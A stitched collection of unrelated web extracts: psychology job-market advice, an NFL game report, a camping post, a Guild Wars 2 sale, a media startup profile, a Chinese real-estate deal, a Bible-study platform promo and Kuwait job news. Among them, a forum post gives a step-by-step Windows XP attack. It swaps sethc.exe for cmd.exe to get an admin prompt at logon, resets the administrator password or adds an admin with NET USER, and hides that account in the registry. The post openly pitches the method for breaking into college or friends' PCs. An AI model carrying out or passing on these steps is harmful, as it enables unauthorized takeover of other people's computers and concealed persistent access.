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|The current recession is forcing college graduates to look harder for good jobs, but despite the economic downturn, qualified psychology students should have no problem finding jobs in various fields. Continued demand for qualified psychologists is attributed to the fact that psychology graduates leave school with numerous and flexible skills.
If between 73,000-75,000 expected graduates follow the same path as psychologists before them, as discovered in a survey administered by the APA's Research Office, the majority will begin working immediately, but some will simultaneously complete graduate studies part- time. Other graduates will attend graduate school at a later date.
Although job prospects are still good for psychology graduates, the National Association of Colleges and Employers estimates there will be fewer jobs available for graduates this year. This organization estimates a 20 percent reduction in new hiring.
However, as during previous years, most graduates, regardless of major, can locate entry-level opportunities in healthcare, government, business, social services, and education. Beginning salaries in these fields range between $18,000-45,000 annually, but salaries vary by geographic location and specialty.
Graduates finding jobs in business typically earn much higher wages than graduates working for non-profit organizations and social services agencies. However, in all industries, wages increase as workers get promoted to administrative positions or acquire additional education.
Employers seek graduates with skills and knowledge matching position requirements. Graduates can also find jobs by networking with professionals in fields they're seeking employment in. By networking and developing skills employers seek, graduates will have less difficulty finding jobs in a tough market.
According to experts, employers want to fill open positions with graduates possessing outstanding qualities and a lot of potential. In most cases, they're not seeking applicants with a lot of knowledge; rather, they want to hire graduates with exceptional written and verbal communication, teamwork, critical thinking, and interpersonal skills.
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Students earning degrees in psychology will learn the skills employers are seeking, providing them with an advantage over graduates from other majors. These skills, often referred to as "soft skills," in conjunction with quantitative skills developed by conducting research, prepare graduates to work as teachers, accountants, and real estate agents.
However, beginning salaries are usually lower for graduates in psychology than graduates in other fields. The National Association of Colleges and Employers reported that average starting salaries for psychology graduates barely exceeded $29,000 a year during 2002, but some career analysts claim this figure is inflated since the Bureau of Labor Statistics reported that entry-level salaries for psychology graduates fell between $21,900-27,200 a year.
During 2001, psychology graduates earned the highest salaries in these specialties: sales, $34,451; social work, $26,988; counseling, $24,724; teaching, $25,378; and management, $30,488. According to the National Association of Colleges and Employers and the American Psychological Association, psychology graduates typically find jobs in these fields and receive starting salaries in these ranges:
Since psychology graduates find jobs in many fields, some consider their jobs and majors as unrelated. According to a survey, 75 percent of psychology graduates reported that their jobs were only somewhat, or unrelated to their undergraduate work.
However, some experts are troubled by the survey results since many employers seek graduates with the type of skills psychology graduates typically possess, which include quantitative, writing, and interpersonal skills.
Experts claim the key to finding an entry-level job out of college is convincing employers you have the aforementioned skills. The following are additional useful tips:
Featured Psychology Programs
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|University of the Rockies University of the Rockies provides high-quality, accessible learning opportunities globally for diverse groups of individuals seeking preparation for life goals, professional practice, service, and distinguished leadership. Learn More >


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PHILADELPHIA — Too bad the Giants weren't playing Cam Newton here Thursday night.
Eagles rookie Carson Wentz twice got the roughing call that an outraged Newton has pleaded for all season, and both controversial flags proved pivotal in a 24-19 loss to their NFC East rivals at Lincoln Financial Field.
The setback kept the Giants' bid for a playoff berth on hold for at least a couple of days and ended their long-shot hopes of a division title and the No. 1 seed, and Big Blue could point to the two iffy calls — and a seemingly glaring no-call — as big reasons.
The no-call came on fourth down with 1:54 left, when rookie Sterling Shepard was seemingly manhandled by Eagles cornerback Nolan Carroll directly in front of an official but couldn't draw a flag.
The two roughing calls on the Giants, though, were much more controversial.
The first roughing flag came late in the second quarter against rookie corner Eli Apple, who tried to pull up at the end of a Wentz first-down scramble to the Philadelphia 45-yard line and was hit with a late flag by referee Clete Blakeman's crew.
The penalty came despite Wentz appearing to initiate the contact on the play by falling into the chest of Apple.
"I tried to let up, but the ref didn't see it that way," Apple said. "I didn't try to hit him at all. You always want to make the play on defense, but it's tough with quarterbacks."
Apple was obviously rattled by the penalty, and the Eagles didn't waste any time taking advantage. On the very next play, wide receiver Nelson Agholor blew past Apple down the left sideline and corralled a 40-yard TD pass to give Philly a 21-6 lead.
The second roughing call on Wentz wasn't as easy for the Giants to dispute, but was no less controversial.
After rallying to within 21-16 and forcing a third-and-long late in the third quarter, the Giants thought they had harassed Wentz into an incompletion near midfield when defensive end Olivier Vernon was flagged for driving Wentz into the ground at the end of the play.
Replays showed Wentz still had the ball when Vernon left his feet to make the tackle, but Blakeman signed off on the flag because of the force of the hit at end of the play.
There was indeed no disputing the violence of Vernon's hit. Wentz was slow to get up and then sent off to go through the concussion protocol while being replaced by Chase Daniel. But Vernon defended his hit by saying he couldn't see the ball at the time of the hit.
"My arms were around him and my face was at his back, so I don't know what they want me to do in that situation," said Vernon, who added that he is steeling himself for "a hell of a fine" from the NFL.
Asked what he could have done to change the situation, Vernon turned sarcastic.
"I could have stopped in midair and reversed time," he said. "That probably would have worked. I should have just stopped time, reversed him a little bit, then hit him at a different angle."
Despite the new life given to Philly by the second call, the Giants stuffed the Eagles on fourth-and-goal from the 1 at the end of that possession when Ryan Mathews was gang-tackled for a loss.
But the flag on Vernon ended up costing the Giants almost four minutes that would have come in handy in the fourth quarter in a game ultimately decided by just five points.
"It's very disappointing," Vernon said. "We came in here expecting to win and didn't get it done, and that's on us."

subset: commoncrawl


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Camping Trip '08
Every year I take my sons camping... just me and the boys doing guy stuff. You know: burping and passing gas at the table, using knives as forks, eating with our hands when we should eat with utensils. Oh yeah... and there's not a while lot of green vegetables around, either.
This year we went back to the campground near Hume Lake Christian Camps. It was a great week. We hiked around, swam in the lake, played Frisbee golf one day, and caught a LOT of fish!


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Google Translater
IP Address
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%%v_OS_IMG%% %%v_OS%%
%%v_BRW_IMG%% %%v_BRW%%
%%v_I_RESO%% %%v_RESO%% %%v_I_CLR%% %%v_CLR%%
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%%v_CR%% ,%%v_RG%%, %%v_CI%%
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%%v_I_RESO%% %%v_RESO%% %%v_I_CLR%% %%v_CLR%%
Who is online?In total there is 1 user online :: 0 Registered, 0 Hidden and 1 Guest
Most users ever online was 6 on Thu Jun 13, 2013 4:48 pm
Hack administrators password through guest login
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Hack administrators password through guest login
Learn to hack administrators password through guest loginEver wanted to hack your college pc with guest account/student account so that you can download with full speed Hack Administrator !!!!there ? or just wanted to hack your friend's PC to make him gawk when you tell your success story of hacking ? well,there is a great way of hacking an administrator account from a guest account by which you can reset the administrator password and getting all the privilages an administrator enjoys on windows..Interested ? read on...
Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command prompt with administrator privilages because no user has logged on. From there we can hack the administrator password,even from a guest account.
Guest account with write access to system 32.
Procedure To Hack windows XP administrator Password
Method 1 (Change Admin Password)
Here is how to do that:
1.Go to C:/windows/system32
2.Copy cmd.exe and paste it on desktop
3.Rename cmd.exe to sethc.exe
4.Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click Yes.
5.Now Log out from your Guest account and at the user select window,press shift key 5 times.
6.Instead of Sticky Key confirmation dialog, Command prompt with full administrator privileges will open.
7.Now type " NET USER ADMINISTRATOR aaa" where "aaa" can be any password you like and press Enter.
8.You will see " The Command completed successfully" and then exit the command prompt and login into
administrator with your new password.
9.Congrats You have hacked admin through guest account.
Method 2 (Access admin without changing password)
Also, you can further create a new user at the command prompt by typing "NET USER How to hack /ADD" where " How to hack" is the username you would like to add with administrator privileges. Then hide your newly created admin account by -
Go to Registry editor and Navigate to this key
- Code:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Here create a new " DWORD value", write its name as the "How to hack" (the username that you entered in the previous step), Now you can live with your admin Account forever.
Note: For the ones that are having problems with step one: What I would do because you do not have write access to the directory you can use a live version of Linux. Copy the cmd.exe to a flash drive. Boot into Linux and copy the cmd.exe to the file that needs to be replaced. In Linux you can bypass those read/write permissions.
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Save 50% on Guild Wars 2 – Now Until August 24
From August 14 to August 24, we're chopping the price of both Guild Wars 2 Digital Heroic Edition and Digital Deluxe Edition in half! Now is the perfect time to pick up this award-winning MMO and experience a constantly evolving fantasy world where your actions make a difference!
Get Guild Wars 2 today and save!
* Offer applies only to Digital Heroic Edition and Digital Deluxe Edition purchased through buy.guildwars2.com from 12pm PDT August 13, 2014 through 11:59pm PDT August 24, 2014.


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Fair Observer
Fair Observer is a crowdsourced 21st century alternative to The Economist, providing our educated audience with a 360° View of the world.
- Stage Prototype Ready
- Industry Media and Entertainment
- Location San Francisco, CA, USA
- Currency USD
- Employees 5
- Website fairobserver.com
Company Summary
News media is increasingly biased and sensationalist, giving incomplete and ethnocentric information about current events. We are a new media company providing analysis of current issues, events and trends for educated professionals, academics and business organizations. We have pioneered the "360° Analysis" where we explain the background and relevance of an issue in a context piece and crowdsource other analysis articles from around the world.
Fabian NeuenCEO
Fabian Neuen, Founder and Chief Operating Officer, graduated from the WHU, completed an INSEAD MBA and was one of Siemens' Global Top Talents and one of the youngest managers in Siemens' history. He has deep experience in India and China, and he has lived and worked in all continents except Australia and has experience in both consulting and investment banking.
Atul SinghEditor-in-Chief
Atul Singh, Founder and Editor-in-Chief, completed a triple major in Entrepreneurship, Finance and Strategy in his Wharton MBA. He was a corporate lawyer in London, and a Radhakrishnan scholar at Oxford who studied Philosophy, Politics and Economics and debated at the Oxford Union. Before Oxford, Atul led special operations in India in the rugged frontier regions of Kashmir and Nagaland.
Christian R. BeckerHead of Business Development
Dr Christian Becker has an MD / PhD from Heidelberg and Baltimore. He has done research on aging and is a former management consultant with strong exposure to India and the Middle East.
Christian GehlCTO
Christian Gehl is a researcher from Fraunhofer Institute in the field of machine learning. As CTO and founder of Trifense, he has won the European Startup Award.
Duane MorrisLawyerUnconfirmedWarth & Klein Grant ThorntonAccountantUnconfirmed
Previous Investors
Amit SinghUnconfirmedBernd SchloettererUnconfirmed


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ING Real Estate has announced that its ING Real Estate China Opportunity Fund has signed an agreement with Gemdale Corporation, one of the largest property developers in China, for a residential development project in the downtown district of Wuhan, the capital city of Hubei province with an area of 8,500 km² and a total population of over 8 million. This is the third joint venture between ING Real Estate and Gemdale. The first two joint ventures are located in Foshan and Tianjin respectively.
ING Real Estate will invest approx. €17.5 million (US$25m) for a majority stake in the project, which is located at the Jiyu Bridge area of Wuchang District. The area is a prime and well-established residential district along Yangtze River in Wuhan. The site occupies a total land area of 64,900 m² with total gross floor area of 194,700 m².
"We are pleased with the opportunity to cooperate with Gemdale in Wuhan, the biggest city in central China. It is our fund's strategy to participate in the fast growing real estate markets of the second-tier cities in China by partnering with successful domestic developers such as Gemdale. This latest and third joint venture with Gemdale further strengthens the strategic partnership between ING Real Estate and Gemdale," Richard van den Berg, Country Manager of China at ING Real Estate Investment Management, said.
ING Real Estate has been operating and growing gradually in China since 1996, developing a strong track record while building a solid local network. In December 2006, the successful closing of China Opportunity Fund which raised committed equity of approx. €245 million (US$350m) demonstrated that co-investors share ING Real Estate's confidence and investment approach in the Chinese real estate market.
Apart from Gemdale, the Fund has joint ventures with other leading domestic developers including Shanghai Forte Land, Raycom International and Longhu Real Estate Development.
Source: ING Real Estate


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Simple and Effective Tools for Small Groups
What is StudyChurch?
StudyChurch is a group engagement platform for small groups who want to study the Bible together. Think of it like a Facebook group where your members can interact with each other. But StudyChurch is so much more than that.
It is a whole system built around your lesson material. As a group leader, you can create custom material that your group can engage with online. As they answer lesson questions, they will be able to interact with each other's answers.
It's a way to keep connected throughout the week while encouraging each other to spend more time studying the Bible.
Watch this video for a walkthrough of the software. The demo starts at the 1:47 mark. If you have any questions, don't hesitate to reach out!
Here's your new toolbox
Small Group Tips and Advice
5 Awkward Moments in Your Small Group and How to Fix Them
Some small groups flow as smoothly as a river, while others seem more awkward than a middle school yearbook. Most groups are a mixture of the two, with quality interactions broken by occasional moments of awkwardness. Awkward moments are not a sign that you are failing as leader or that the small group is not […]
5 Ideas for Creating Discipleship in Your Small Group
As every good small group leader knows, small groups are about more than just Bible study. A small group is (or should be) about discipleship. This is the exact same setting that our Lord used to create disciples, and He can work in the hearts of small groups in modern times as well. However, many […]
5 Habits of Highly Effective Small Groups
So much of success in life depends on how you handle the details. Often, your character and your outcomes are both a product not of large decisions, but of little choices and habits that happen on a daily basis. This is especially true of discipleship in church communities. If you look at the little habits […]
5 Foolproof Ways to Encourage Growth in Your Small Group
Growth is an essential part of every church ministry. You want to touch as many lives as possible and encourage discipleship among members. However, many small groups stagnate at a comfortable size. Why mess with a good thing? The aim for growth is one of the factors that set small groups apart from a normal […]
Choosing a Location for Your Small Group: On Campus or Off Campus?
Once you have decided to form a small group, the next step is to nail down a location. The two most obvious choices are on your church campus and in a private home. Both of these locations have benefits and drawbacks that can affect the success of your Bible study and your sense of community. […]
7 Simple Ways to Encourage Discussion in Your Small Group
Anyone who says talk is cheap has never tried to get a quiet small group to share more. Small group veterans have all seen them: the small group that is quieter than the most silent moment of prayer in church. The leaders tries desperately to stir up conversation, but no one will bite. Few situations […]
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Kuwait Employment News
Kuwait government authorizes new agency for job seekers from Kerala
As a welcome relief for job aspirants from Kerala, Kuwait government authorized a new agency having operations in the state, to hold medical screening of job seekers.
The freshly authorized GAMCA Medical Centres have their bases in Kerala and charges only Rs.3600 as fee for medical screening.
A notice issued by the Embassy of Kuwait to all authorized agents and individuals states that medical reports will be accepted from GAMCA Medical Centres only from 29th June 2015.
The decision by the Kuwait authority came following complaints from job aspirants from Kerala that the Khadamat Integrated Solutions Pvt. Ltd (KISPL). Overcharged for their services of medical screening process, a mandatory service for visa clearance to Kuwait.
KISPL has shut its Kochi operations following the complaint filed by job seekers with police alleging excess amount charged for medical screening. The overcharging of fee by the agency was a big issue in the state from where large number of youths come to Kuwait in search of jobs.
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